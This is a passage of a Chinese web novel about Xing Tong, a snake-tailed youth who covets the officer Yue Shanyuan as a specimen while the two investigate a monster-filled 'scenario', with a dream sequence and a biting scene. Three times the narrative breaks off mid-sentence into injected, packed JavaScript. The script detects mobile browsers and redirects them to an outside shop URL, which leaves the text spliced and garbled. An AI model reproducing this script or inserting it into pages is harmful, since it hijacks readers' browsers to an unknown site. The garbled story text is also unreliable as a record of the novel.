对于蛇种污染物来说,永远只有一块鳞片是重要的,一般位于尾椎骨后方下数半米左右,粗看和其他鳞片别无二致,细看却又会觉得隐约有所不同。这块鳞片是母种在它们身上留下的印记,没有它,这只怪物就会被其他污染物的力量分食撕扯,缓慢的、一点一点的…… 兴瞳把刀刃插入那块鳞片的缝隙,薄而窄的刀刃似乎刺破了某条血管。 鳞片撬起的瞬间,伴随着巨型蛇人怪尖锐的嘶鸣,鲜血溅上他的左侧脸颊,染红他的左眼,然后顺着发梢和下颌蜿蜒而下,流出两道古怪的花纹。 他回头,遥遥与男人对望,浓厚的血雾恰好遮住了他眼底的阴霾。 兴瞳并没有将视线停留太久,他很快收回解剖刀,随手把鳞片扔在一旁,从岳山原的视角看,他似乎只是由于太过生气,撕扯了几块鳞片泄愤。 隔着一米多的距离,青年大半张脸隐在阴影之中,然而,某个瞬间,借助周围跳动的火光,岳山原隐约看到他勾起嘴角……笑了一下。 那笑诡异,带着十足的漠然。 岳山原疑心自己看错,因为不过片刻,青年又恢复了平常的样子,满脸血污地站在原地,似乎是被吓傻了。 与此同时,巨型蛇人怪的绝望和哀鸣逐渐影响了整条走廊的怪物,它们带着战栗的恐惧,行动越来越慢,前方开路的米奇压力骤减,也来不及管为什么,转头招呼岳山原快走。 岳山原回过神,受伤的右臂还在滴血,他没管,随手掀翻了几只行动迟缓的怪物,拿外套包住兴瞳血淋淋的脑袋,把这看起来SAN值在狂掉的青年往怀里一裹,半提半抱带着他飞速狂奔:“米奇!先离开这………不用睁眼,我带你走。” 兴瞳花了几秒钟的时间才反应过来,最后一句话,好像是对他说的。 他听话地闭上眼,过了一会又偷偷睁开,瞟了一眼男人右臂处的爪伤。 没关系,没关系。他疯狂安慰自己。 不过又是遥遥无期罢了。 14. 014 怪物行动迟缓,方便的不只有他们。 那个浑身上下缠满黑布的怪东西不知什么时候跑到了后方,捂着脑袋,狼狈地在根本没有实质的火光中窜逃。“它”似乎怕火,像只四肢抽搐的竹节虫,满地滚来滚去,对着从四面八方扑来的蛇人怪拳打脚踢。 兴瞳悄悄掀开岳山原蒙在他头上的衣服,回头一望,一根细长、表面鳞片突起的蛇状物在怪东西脚边一闪而过。 啊。 就是它了,萨吉的衍生嗣。 和这只蛇一样的污染物,兴瞳家里有很多,大部分都被摆在不怎么受重视的位置,如果不是因为地下集市关闭太久,他买不到新鲜的污染物尸体,也不至于看上这么一条小蛇。 这么一想,他愈发觉得岳山原珍贵无比。 假如男人真是一只人形污染物,那就是雪中送炭、救命稻草……兴瞳一定拿出最完美的手艺,把他做的漂漂亮亮,然后在地下室找个最黑暗、最干燥、最无暇的角落存放。 他一定每天都去看他,扫尽每一粒灰尘,绝不让一丝阳光玷污他的神圣…… 正畅想着,兴瞳发现那只小蛇竟然离开了原处,慢慢朝他游过来。 按理说情景已然成形这么久,早就不依赖污染物运转,就算死了也不会引起暴动,然而保险起见,兴瞳还是把它赶走了。 那小蛇本来尾巴摇的像风火轮,冷不丁感受到兴瞳排斥的情绪,顿时变成了一根霜打茄子,滑溜溜地顺着墙壁掉入火海。 兴瞳收回视线。 等情景结束之后,他还会回来找它的。 …… 五分钟后,一行人终于抵达走廊尽头。 这里只有一间房,房门紧闭,门口堆积的怪物很多,岳山原尽数清理干净,用肩膀把门顶开,把兴瞳往里面一放,立刻说:“测个SAN值。” 兴瞳怀抱他的衣服,乖乖递上脑袋。 纤长的睫毛触碰到岳山原的指腹,像一排轻柔的羽毛,他手指蜷缩了一下,隔着指尖缝隙,他注视着青年明亮、淡漠的瞳孔。 我见过他。 某一瞬间,岳山原有种强烈的欲//望——他想要立刻找到一块洁白柔软的方巾,擦拭掉青年左脸的血污,如果没有,那么就用手,用衣袖……他想要带青年立刻离开这里,让他躺到世间最柔软的床,沐浴阳光与花香,做一场酣畅淋漓的美梦……他想要拥抱青年,就现在,就在此刻,仿佛抱住他,失去的一切就会回来,迷惘的雾就会散开…… 他清楚地意识到,这欲//望是不对的。 然而,他几乎用上了全部的意志力,才控制住了肌肉的活动。 他不认识兴瞳。 何况,他对所有镇民都是一视同仁,不该有特殊者。 “长官,您不看吗?”兴瞳问。 他扬起蛇尾,细细卷住岳山原的手腕,灵活的尖端顺着男人的指缝滑过,描摹他手心的掌纹。 岳山原绷紧下颌。 奇怪的是,他并没有因为自己的异样怀疑兴瞳。 更奇怪的是,他并没有意识到自己没有怀疑兴瞳。 他沉默着。 很快,蛇尾将他的手掌带到眼前。 他忽然觉得痒,那股痒意顺着手心直达心脏,仿佛兴瞳的尾巴不是缠在外面,而是缠在里面。 两秒钟后,岳山原猛地收紧手指,兴瞳瑟缩一下,似乎被握疼了。 SAN-86。 男人重新变得冰冷,审视的目光将兴瞳从上到下洗了个遍。 兴瞳心脏砰砰直跳,又疼又麻的蛇尾立刻从男人腕处离开。 接着,在岳山原探究的目光下,他终于后知后觉地体会出自己和男人的力量差距。 他觊觎岳山原,或许就像兔子觊觎猎豹,猎豹不仅强壮,而且敏锐,只要兔子动一下耳朵,它就能一巴掌把兔子窝都给掀了。 可是怎么办呢? 多久了,他没有在任何人类、怪物、污染物、陆生种、飞天种、水栖种、昆虫种、真菌种身上发现如此奇妙的吸引力。 人类更是如此,兴瞳一向不愿意接近,就算岳山原不是污染物,那也绝对不可能是人。 米奇被骗了。 又甚至,整个档案馆都被骗了。 兴瞳心猿意马地想。 大概是他的意志太过强烈,岳山原手上的数字竟然慢慢开始变化,从86、85、84……一直降到了68。 岳山原皱眉,他的灵感没有任何预警,兴瞳的眼前只有他,之前外面多么凶险他的SAN都一动不动,现在却——等等? 岳山原微微往后滑了几寸。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13152828|138538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不要说,这镇民是因为看到他,才疯狂掉SAN值。 难道他出什么问题了吗? 兴瞳也有强灵感,而且作为共感者与情景的联结更加紧密,很多东西可能看的比他更清楚,岳山原不动声色地想,尽管可能性微乎其微,但如果他沦陷了,米奇能不能一个带两个还是未知数。 短短几分钟内,他先是反复揣摩了一遍刚刚不正常的冲动,准备回去上报档案馆,而后又飞快评估了当前的局势,思考兴瞳SAN值滑落的各种可能,从兴瞳本身受影响,到他自己出现异化征兆,再到各种匪夷所思、稀奇古怪的情况—— 而另一边,兴瞳永远都不会知道人类的脑回路有多复杂。 他的思维就像一根平铺的直线,看到1+1就只知道等于2,看到白色的液体就觉得是牛奶,看到岳山原就只想做成标本,看到滑落的SAN值就感觉自己安全了,男人不会再怀疑他。 死里逃生。 他带着一点微弱的雀跃滑到旁边,没去管地面上杂乱无章的祭祀符文,也没动昏迷不醒的胖子,而是开始寻找医药急救箱。 这时,米奇用重物顶好门,过来看了眼岳山原的手臂:“老大,你这伤的挺重,一会儿处理一下?” 房间里没有急救箱,但依然有很多烈酒,兴瞳拿来好几瓶,然后又翻出一条长长的棉质薄围巾,放到岳山原手边。 男人微微一顿,道了谢,拿起烈酒就往胳膊上倒,血水哗啦哗啦往外涌,清洗干净之后,他用牙咬着薄围巾,慢慢裹住了伤口。 “我来帮您。”兴瞳熟练地打了个蝴蝶结。 “谢谢,”男人说着,却略微移开手掌,避免触碰到兴瞳,“你很熟练。” “老师教的好,”兴瞳努力维护乖巧表象,“我每周都去档案馆上课。” “那很好。”男人说。 “包扎好了,长官,您的肉疼吗?皮呢?骨头呢?”——兴瞳以为自己在表达关心。 “……都不疼。”岳山原陷入沉默。 “好的。”兴瞳开心地收回手,又调整了一下绑在男人手腕上的布条。 现在男人身上已经有两个蝴蝶结了,兴瞳想,都是我打的。 这是他们标本界的最高礼仪。 看上之后,留下我的印记。 15. 015 然而,被标记者本人好像没能体会到他的真诚心意。 包扎好之后,岳山原随意放下衣袖,专心致志地开始寻找线索。米奇也帮他找,找完也看,但基本看不出什么名堂,努力记记内容,就全部丢给岳山原。 “老大,翻出来一本日记。”米奇打了个哈欠,又拎着他的棒球棍,背靠门口坐下。 兴瞳看了看男人,又看了看米奇。 他比较有自知之明,心知自己就算不笨,也绝没有人类标准下的聪明。 米奇长官虽然摆烂,但好歹能像个人一样,他就不行了——上次看了威廉写给亚当和布兰温的书信,他努力分析之后被岳山原嘲笑的情景还历历在目。 他慢慢挪到门口,岳山原却叫住他:“兴瞳?过来帮忙吧。” 米奇也投来鼓励的眼神,兴瞳顿时有点愧疚,感觉辜负了两位长官的信任。 岳山原递给他一张巨大的草沙纸,上面画满了复杂的纹路,各种注释密密麻麻地塞满间隙,而且不是同一个人的笔迹:“现在已经确定的是,安妮曾经死于车祸,且很可能存在烧伤或肢体断裂,但我们在‘域’中见到过活着的安妮,时间是在发生车祸之后,而‘域’中的景象都是真的,也就是说,安妮死后被某个人复活了。她的身边只有父亲,大概率就是他做的,情景中人蛇嫁接业务和过程都被淡化,比如鸢尾花汁的作用就和真实情况完全不同,可见情景形成的原因不是人蛇本身,那么一定是别的东西。” 岳山原说着顿了一下,似乎在整理思绪:“如果是情景主人是父亲,那么倒也说得通,但诸如为什么他会害怕‘眼球’等关键词、为什么要让安妮从独立变成依赖他……这就有些无法解释,甚至于,他想复活安妮的心愿已经达成,又为什么会形成执念本身?而如果情景的主人是安妮,现在还没有找到第二个故事来支撑。整个二楼被隐藏或许与污染物反噬有关,‘它’听到你描述的景象就感到害怕,可见这样大规模怪物暴动、无痕之火燃烧的情况不是第一次出现。但这没办法用来判断情景主人的身份。” 他慢慢从上衣内侧口袋摸出一张折成好几折的纸,和街头老杰克大叔每天早上带着老花镜、看水费单的动作一样——严肃的神情都一样。 那张纸随他颠沛流离,如今已满是血污,岳山原珍而重之地把它展开,对着看了一会儿,确认自己没有什么遗漏。 确认完毕,他紧绷的肩膀才微微放松。 实话说,他的灵感从“域”中出来后就指向了安妮,但出于规定,他并不应该轻易表明。 ——即便他岳山原的灵感从不出错、无可媲美、百发百中,也既不能在情景结束前和其他人透露,又不能作为最后行动的依据,只能当作辅助或避险手段。 这该死的救援准则。 男人皱了下眉。 他和米奇没参与过几次救援行动,平时基本只负责处理“无人情景”,显而易见,因为“水土不服”。 以往进入情景后,他们的行动路线用两个词就可以概括,先“灵感“、后“杀戮”——反正也无人,那么一切行为便只需要对自己和队友负责,不需要顾虑普通镇民。 而岳山原小组的风格……就是“杀”。 这样虽然体力消耗极大但效率也奇高,每年可以提前毁掉几十个致命情景,行动密集期时,档案馆上下都不太爱靠近他们——身上血腥味太厚,熏人。 这次人手不足被临时叫来帮忙,岳山原不可谓不头疼,参与救援任务的感觉就像是老母鸡带鸡仔——还是两只翅膀都被捆起来不让飞的那种。 他按了按额角的青筋,以一百二十分的冷静重新拿起一旁的日记本,隐去自己的灵感判断,继续对兴瞳说:“我来看日记,你看祭祀法阵,米奇负责警戒,有发现随时交流。如果不想看,可以去阿尔德那边等。” 阿尔德是胖子的姓名。 普通镇民可以选择全心全意地相信救援者,也可以帮忙做点事情。 不过人一闲下来就容易胡思乱想,有东西占住脑袋,SAN值会更稳定一些。 “我可以看……”兴瞳感到眩晕。 岳山原说了那么多话,他理解的只有最后一句。 信任如此沉重,他努力研究起手中草沙纸,勉强坚持了1分钟,脑袋就开始一点一点地打瞌睡。 不……还是再努力一下吧,没用的人类胖子已经晕了,我得做点什么。 这么想着,他由趴改成跪,艰难分辨起眼前的文字。 黑蛇鳞…断肢再生……灵生灵……肉…肉……唔…… 他甩甩脑袋,突然想起自己在背诵《安妮的账本》时能记得一字不差。他又试了一遍,果然全记住了,然而这并没有什么用,岳山原就在身边,大概不需要他特别背出来听。 兴瞳鼻尖挂满小汗珠。 男人读日记本的速度很快,翻页的声音像早起催人去档案馆上课的闹钟,兴瞳本来就看不懂,现在更着急。 正急着,这一片鬼画符里突然跳出来一串特别的文字。 “断肢再生,必须吞服原本坏死的部位,坏什么就吞什么……” 这句话不是他自己找的,而是凭空跃入视野。 草沙纸足有整张桌子大小,记载了上千种配方、禁忌和使用规则,各种符咒与阵法纹路……而只有这一句被“拎”了出来,其余都好似蒙上一层雾,不受控制地在视野里越退越远。 又是人类所说的灵感吗? 兴瞳摸了摸眼睛,他从不知道自己有什么“灵感”,一切都始于发现男人之后。 传说人形污染物有种奇妙的魔力,可以改变人的眼、腿、心、手、舌、臀…… 因此他一定是被影响了。 因此岳山原一定是污染物。 又找到了一个证据。 兴瞳微微一笑。 “……驾驭亚种衔尾蛇(注:古蛇萨吉的衍生嗣之一)并非轻而易举,代价是将自己也变成衔尾生物的一种。所谓衔尾生物,就是吞噬自己的身体部位后,能够再生出相同身体部位的一类生物的统称;被亚种衔尾蛇污染,是进化衔尾生物的最有效方式之一,不过,很多人认为这只是一种惨痛的''代价'',而非''进化''。” 另一串文字飘到兴瞳眼前。 “借助亚种衔尾蛇的力量之后,借助者会自动死亡,其后可以通过被衔尾蛇污染而复活成为衔尾生物(污染部位可以是任意器官,需另一人从旁辅助,如辅助者为非衔尾生物,则须再次重复上述过程),当然,也可以选择不复活永远死亡——来自:《亚种衔尾蛇使用手册》,艾米丽·布朗记。” 兴瞳盯着最后一个名字看了几秒,然后拽了拽岳山原的衣摆:“长官?好像有一些奇怪的东西。” 男人抬头。 兴瞳把这三段话单独写在纸上,递给男人看。 岳山原看了一遍,几乎是顷刻间想到了安妮的父亲,和那句柜台旁、他在灵感驭使下做出的威胁。 为了复活安妮,她的父亲曾经“死”过一次,而如果要复活,就要成为衔尾生物,如果要成为衔尾生物,则必须有另一个人从旁辅助。除了被复活的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13152829|138538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安妮,辅助者不会有其他人。 也就是说,安妮和父亲都曾经使用过污染物的力量。 岳山原理了理思绪,然后拿过了兴瞳手里的草沙纸。 “据《手册》,普通蛇尾嫁接并不需要通过上述仪式进行,只要用赫尔宣草、瑰花汁、萤火虫、草履虫和一点点亚种衔尾蛇的毒液配成药水,就可以培植出与人类体积相等、可融合的蛇尾。” 他皱眉,把日记本翻到某一页给兴瞳看:“艾米丽·布朗——也就是安妮的母亲——曾经很早就想做蛇尾嫁接生意,但她的丈夫并不同意,认为这是魔鬼才会做的事。” 他们爆发过很多次争吵,后来艾米丽决定自己尝试: ——今夜天气很好,家附近的山上就有瑰花,我决定去采来,下山的时候准备捉几只萤火虫,再找艾尔拿一些实验室的草履虫。希望可以成功。 ——成功了!我有了第一个客户! ——天气预报一向不准,今夜有雨,山路不好走,但第二位客户明早就要抵达。拉里不同意我做这些事,因为会遭受非议,但他的病、还有安妮的病……不,活着,我们要活着!绝不在清白的名声中死去。 日记戛然而止,后面贴着几张被揉皱、撕碎、又粘合起来的报道,都是关于某个雨夜的泥石流…… 再翻到封底,艾米丽的签名下有一串完全不同的笔迹: ——妈妈,一切又重演了。祖父和祖母也离开了,我有一个懦弱的父亲,他救不了任何人。 岳山原陷入沉思,这些线索让他隐约有了一些头绪。而另一边,兴瞳已经快要不负众望地睡着了。 男人梳理证据的声音很好听,淡色的嘴唇也很适合遐想,但内容实在是……实在是可恶。 那么多,那么长…… 这比威廉的信还要复杂上一万倍。 他勉强支住脑袋。 一手托着腮,一手仍然握着岳山原的衣摆,柔软的发丝从额前垂落,双眼微阖,在这阴沉的、血雾弥漫的房间里,无端显出几分不谙世事的纯真。 只可惜这纯真并非赞美,而是诡异。 岳山原盯着他看了好一会儿,末了轻轻拽开他的爪子,把人平放到沙发上。 兴瞳打了个哈欠。 兴瞳翻了个身。 门外,怪物们逐渐恢复了速度,撞击门板的声音越来越大。米奇偶尔出去弄死几个体型大的,肢体断裂和血肉撕扯的声音如雷贯耳。 可青年睡得很安稳,甚至眉间也没有一点倦色或不安。 岳山原不由自主地伸出手—— 在碰到青年额头的一刹那,又猛地收了回去。 接着,他像是什么都没发生过一样,继续回到桌前研究线索。 他背对着兴瞳,因此没有看到一条细细的黑蛇,穿过墙壁,穿过地毯,缠住青年苍白瘦削的手腕,顺着小臂向上游走……隐没在衣袖,而后又出现在腰侧。 它扬起蛇头,骤然袭向青年的脖颈,在两根血管之间狠狠咬了一口。 “啊……” 一声微弱的呻//吟,兴瞳的身体不由自主地绷紧——然而这动静太过渺小,无论是米奇和岳山原都没听见。 两秒钟后,他似乎被泄去了所有力道,呼吸逐渐变得平和。 黑蛇慢慢游离,与此同时,兴瞳陷入了一场奇怪的梦,梦里有个声音贴在他耳畔。 那声音温柔沙哑,极尽缠绵,像是恋人相拥而醒的清晨,照进窗内第一缕阳光。 那声音说: “嘿,布兰温。” 16. 016 “……嘿,布兰温。“ 兴瞳低喘一声。 脸颊有些痒,大概是因为凑过来的呼吸太滚烫,模糊间,似乎有人轻轻吻了一下他的耳廓。 是谁? 他不知道,然后很快也无暇顾及。 他发现自己看不见了,睁开眼,可眼前一片漆黑,浑身上下都像被车碾过似的生疼,想抬起手,然而两条胳膊却像面条一样酸涨。 “渴……渴……”他无意识地喃喃。 立刻有一双手将他扶起来,轻轻托住他的下巴,温热的盐水凑到唇边。 “慢点喝。” 手的主人说。 兴瞳的喉咙快要冒烟了。 他急切地扬起脖颈,盐水顺着脸侧蜿蜒而下,流过脖颈,流过锁骨,汇入被薄毯遮掩着的苍白身躯。 “别急,别急布兰温。” 那人伸出手,干燥的手指擦过他的嘴唇,而后又抽了两张纸巾,替他擦了擦别的地方。 敏感的地方被不小心触碰,兴瞳却并没有注意到,他不知道自己怎么了,像是早就习惯这样的照顾,喝完水,他就枕在身后人的肩膀上,蜷缩了一会儿,又变得昏昏沉沉。 “凯斯医生马上就来,先别睡,好吗?”那人说着,又来吻他的眼睛,仿佛这样能让他清醒一些。 “嗯……”兴瞳发出一声倦怠的鼻音。 他抬起胳膊,轻轻扣住这人的手腕,脉搏跳动的感觉如此强烈——是个活人。 不多时,远处传来敲门的声响,或许是“凯斯医生”来了,身后的热源放开他,走到很远的地方开门。 “嘿,亚当。布兰温今天怎么样?今天天气不好,风雨太大了,不然可以带布兰温到外面坐一会儿,只要小心着凉……咦?布兰温今天醒着,真是太棒了,快让我看看,乖孩子……” 凯斯医生是个老头,讲起话来喋喋不休。 兴瞳平躺在床上,空洞的双眼注视着天花板,那里什么都没有,只有无穷无尽的黑和暗。 亚当? 对了,他好像变成了布兰温,而亚当是他的爱人。 为什么?为什么他会做这样的梦? 亚当摸摸他的头发,宽厚的手掌透着让人放松的温度:“布兰温,医生来了。” 兴瞳木然坐起身,乖乖配合检查,仪器穿透的感觉很疼,但他没有发出一点声响——布兰温或许也是这样,因为无论凯斯还是亚当,都没有对他的表现感到任何意外。 检查持续了半个小时。 半小时后,凯斯收拾好仪器,把亚当支走去拿病情记录单。 兴瞳终于瑟缩了一下。 亚当让他感到熟悉,而凯斯医生则是个彻头彻尾的陌生人。 凯斯似乎犹豫了一会儿,才道:“布兰温,我的好孩子,你还想要做那件事吗?你知道,亚当多么爱你,他不会拒绝你的任何要求,但那是不对的……人蛇是畸形的物种,尽管能让你变得强壮,但、但……” 兴瞳没有说话,从他沉默的表现中,凯斯似乎误会了什么。 他低叹一声:“谁会想要伤害自己的爱人呢?好孩子,你得了这场怪病,是神昏了头,不是你的错啊……” 这时,亚当回来了,老凯斯没有再继续说下去,临走前,他用力按了按兴瞳的肩膀,好像在做最后的劝诫。 “他和你说了什么?” 兴瞳看不见,但从亚当的声音中,他听出了一点被极力克制过的控制欲。 他感到自己的脸颊在被轻轻抚摸,抚摸他的手指修长而温热,表面有很多薄茧,遍布各个地方。 “他让我不要那样做。”兴瞳说。 亚当沉默片刻,然后俯身将他拥入怀中:“没关系,你想做什么都可以,但不要伤害自己。” 兴瞳没有挣扎。 他想,布兰温和亚当一定非常相爱。 这个清晨,他是在亚当的怀里度过的。偶尔,亚当会亲吻他,投喂他一些食物,然后抚摸他的身体。 兴瞳发现自己很迷恋亚当的触碰,大概是因为缺少了一副感官,就格外需要从别处替代。 亚当说:“你想吃冰激凌吗,椰子味的,下午可以去帮你买一个——但只能吃一个。” 兴瞳迷迷糊糊地睁开眼:“椰子味?” “对,”亚当的声音好像有些熟悉,“椰子味的。” 兴瞳想了又想,可怎么都想不起曾经在哪听过——他见过的人类不多,对人的声音也不大敏感,毕竟,这东西不能做成标本。 他揉了揉眼睛,仍然还没有适应无边无际的黑暗:“想吃。” 亚当说好。 上午的时间过得很快。 兴瞳惦记着岳山原,想要早点苏醒,但他不管怎么折腾,都被亚当牢牢抱着——他似乎对爱人的疯狂举动习以为常,无论是不小心被磕到还是被蹭上鼻涕,情绪都没有半点不稳定。 兴瞳放弃了,顺从地趴在亚当肩头——至少,这个人类并不让他感到恐惧,而是有种诡异的亲近感。 下午,狂风和暴雨停止,阳光在转瞬之间洒满大地。 他被亚当抱去了阳台,安放在一张躺椅之上。 阳光的味道让人平静,他闭上眼,享受属于布兰温的幸福时刻,正想睡一会儿,亚当又把他抱去了浴室,开始前后洗刷。 兴瞳有些无措,他毕竟不是真的布兰温,下意识蜷缩起身体,又被温柔地打开。 亚当问:“冷吗?” 兴瞳摇头。 “我现在是什么样子的?”他也不知道为什么会问出这句话。 亚当冲掉他头顶的泡沫:“像只湿了毛的小狗。” 兴瞳觉得他一定笑了一下,但并没有听得很分明。过了一会儿,他又抓住亚当的手指:“那你呢?” 这次,亚当没有回答。 冲洗的过程很快,因为亚当怕他着凉,没多久,他就又回到了卧室,趴在亚当腿上,等他给自己吹干头发。 吹风机的声音非常难听,像一只快死了的乌鸦。 ——他突然想大声喊叫,好在还没有出声,亚当就关掉了按钮。 亚当说:“睡觉吗?” 于是兴瞳睡觉,窗外又下起了雨,雨声铺天盖地、密密麻麻,像是有一只长了很多的眼睛的庞然大物,此刻正立在窗边,注视着他和亚当的一举一动…… 亚当哪都没去,始终留在一米远的距离内。 兴瞳动了动鼻子,突然闻到一股气味——淡淡的烟草和酒精味。 这让兴瞳想起了岳山原。 他的标本。 男人身上也有这种味道,在“域”中时,他向他描述夏天,朗姆和烟草卷的气味环绕四周,和着一片盛大而辉煌的晚霞。 亚当说:“雨太大了,我去关窗。” “等等——”兴瞳慢慢凑近他。 因为看不见,所以爬得很慢,等到终于揪住亚当的衣服,他小声道:“长官?是你吗。” 亚当身体一僵。 他轻轻推开兴瞳,语气僵硬:“等等,布兰温,现在不能玩这些。” 玩什么? 兴瞳自动忽略了这句话,他想要摸一摸亚当五官的形状,但刚抬起手,整个人就被捉住塞进毛毯里。 他扑腾了两下,像一只巨型毛毛虫。 亚当隔着被子抱住他:“想点别的,布兰温,想点别的……对,明天,明天我陪你看电影好吗,或者不看电影,房东说东街新……家……烤…滋滋……好…吃………” 亚当的声音越来越远。 兴瞳以为这是快要苏醒的前兆,然而,过了很长时间,亚当仍然抱着他,他仍然裹着这条毛毯,身后的胸膛也依旧在有规律的起伏——他突然意识到,自己好像听不见了。 他颤抖了一瞬,然后疯狂挣扎着去找亚当的手。 他可能喊了一些什么,也可能只是无意义的尖叫,他不知道,因为什么都听不见、看不见……世界成为囚笼,空气变得冰冷,连那烟草味似乎都远了。 亚当立刻明白发生了什么。他箍住兴瞳,在他掌心里写字,可巨大的空虚感让兴瞳难以忍受——他不是布兰温,他从没有同时失去过两种感官。 回去,他要回去,岳山原,标本…… 一口温热的血被灌进他嘴里。 如果兴瞳还清醒,他会发现这血和岳山原的一样香甜。 然而此刻他什么都顾不上,叼住亚当的手腕就开始贪婪吮/吸,好半天,听觉终于缓慢恢复。 亚当帮他擦掉鼻涕和眼泪:“没事,没事了……” “为什么?我……你的血…耳朵……” 他混乱了一会儿,然后突然明白了凯斯医生的话,明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13152830|138538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白了为什么布兰温和亚当要去73号公路旅馆。 ——布兰温有怪病。 发病时,要喝亚当的血才能恢复——他要去73号旅馆求一个新生。 兴瞳想,人类也会有这样的怪病吗?这是什么病?污染病? 他从未听说过。 亚当揉揉他的脑袋:“……布兰温,不过是一点血罢了。” 兴瞳摇头:“我想去73号旅馆。” 亚当愣了一下:“不!不可能……威廉说过那是做什么的,有钱人制造宠物的地方,布兰温,我们——” 兴瞳摸摸身下的绸缎,轻声道:“你也是有钱人。”能够支付得起高昂的费用。 亚当更生气了,兴瞳似乎听见他冷笑一声:“可我从没有把你当作宠物,或者情人,或者任何不是爱人的身份。” 他的声音嘶哑,握着兴瞳的手微微发颤,似乎准备只要听见任何“一刀两断”“不想连累你”等类似的话语,就要立刻反驳。 然而,兴瞳没有这样说,他想起邻居家养的小狗,于是真诚地发问:“做你的宠物,为什么不可以。” “做……我的宠物?”亚当似乎觉得他疯了。 兴瞳以为他不明白,于是贴心地解释道:“小狗什么都不用做,每天在家等你,就能生活得很好。” “……” 亚当的呼吸陡然变得粗重。 兴瞳不知道怎么回事,刚想改口,整个人就被扔进床铺。亚当抵住他的额头,烟草和酒精味一瞬间变得浓郁……… “……兴瞳?” 兴瞳睁开眼,男人逆光站在他面前,侧影被晕染得模糊不清。 “我们要离开这。”见他醒了,岳山原收起写好的线索,侧过头对他说。 兴瞳呆呆地坐起来,好半天,他摸了摸自己的脖子,除了浑身上下的疲惫和酸痛,并没有任何被蛇咬过的痕迹……刚才的一切,仿佛真的只是一场梦。 “别愣着。”岳山原催促道。 兴瞳没说话,他站起来,慢慢靠近男人。 男人皱眉,眼尾的弧度像是一片开了锋的利刃:“你……” 他的声音停在喉咙里。 因为兴瞳忽然凑近他,抬手揪住他的衣领,在他颈侧嗅了嗅。 浓厚的血腥味当中,裹着一股淡淡的、几乎闻不到的烟草气息,还有酒,是朗姆酒,和亚当身上的一个味道。 “老大……”米奇瞠目结舌。 岳山原摆摆手。 兴瞳想,对了,还有血,亚当的血,甜的,香的……他心理有很多疑问,以至于丢失了好不容易伪装出来的理智,那条淡青色的血管仿佛在诱惑着他,让他不要犹豫,尽管来品尝美味。 兴瞳舔舔嘴唇,两颗小虎牙变得细长尖锐。 紧接着,他做了一个无论是岳山原还是米奇都想不到的动作—— ——他张开嘴,一口咬在了男人的颈侧。 霎时,他的疲惫一扫而空,整个人轻盈快乐,感觉像是要弹出翅膀飞起来了。 好甜,一个味道,一个味道…… 岳山原闷哼一声。 他收紧手指,似乎在极力忍耐着什么。 米奇差点被惊掉下巴——老大,你好歹挣扎一下啊?至少不要在被咬的一瞬间就仰头,这简直太配合了好吗。 “老大,你、你……” 岳山原没办法回答他。 他眼眶充血,死死咬紧牙关,克制自己回应兴瞳的冲动。 可几分钟过去了,他的头颅仰得更高,肩膀也逐渐放松,在没有意识到的时候,他甚至安抚似地拍了拍青年的背,把他带得更加靠近—— 那一瞬间,他只觉得浑身上下无一熨帖,无一不愉悦,每一寸血肉都在疯狂叫嚣,心脾肝肺都在颤抖中化为灰烬,那么久了,那么久了…… 岳山原闭上眼。 他不明白。 他决心向档案馆上报这一切。 可在那之前,在米奇的注视下,他不受控制地抬起手,捉住了青年瘦削的手腕。 脉搏,温热的脉搏。 他轻轻摩挲着,动作中带有久违的贪恋与缱绻,青年的靠近让他感到快乐——然而,他想,这是不对的。 眼前是一个共感者,但他应该保持理智。 他不该这样做。 17. 017 几分钟后,吸得起劲的兴瞳似乎意识到了什么,猛地退开很远。 这是岳山原见他用蛇尾用的最灵活的一次,几下滑动,整个人就缩到了沙发后面。 “我、我……”兴瞳想要装作无辜,可一点鲜红的颜色还挂在他嘴角,实在没有什么说服力。 米奇轻咳一声。 岳山原靠着墙壁缓了一会儿,然后面无表情地整理好衣领,仿佛什么都没发生过一样,走到书桌前开始记录刚才自己的异状。 米奇替他说:“没事,都是共感的影响。” 兴瞳踟蹰片刻:“您觉得头晕吗?” 岳山原微侧过头,似乎觉得他问的问题很笨:“你知道你一共吸了多少血吗?” “多少?”兴瞳一颗心提到嗓子眼,他怕直接把自己的标本给吸干了。 “三滴。”岳山原说。 米奇哈哈哈哈笑了一阵。 岳山原说:“五分钟后出发。” 于是,兴瞳就看着男人不知道在纸上写些什么,写完又在房间里转了一圈,翻出一把黑柄薄刃的猎刀,朝门口的米奇点点头。 米奇会意,扛着棒球棍拉开门,门口的怪物还是很多。 动手前,岳山原闭了闭眼,刚刚兴瞳靠近时他的头痛缓解了不少,现在又……算了,这次任务的时机太不凑巧,但好在就快要结束了。 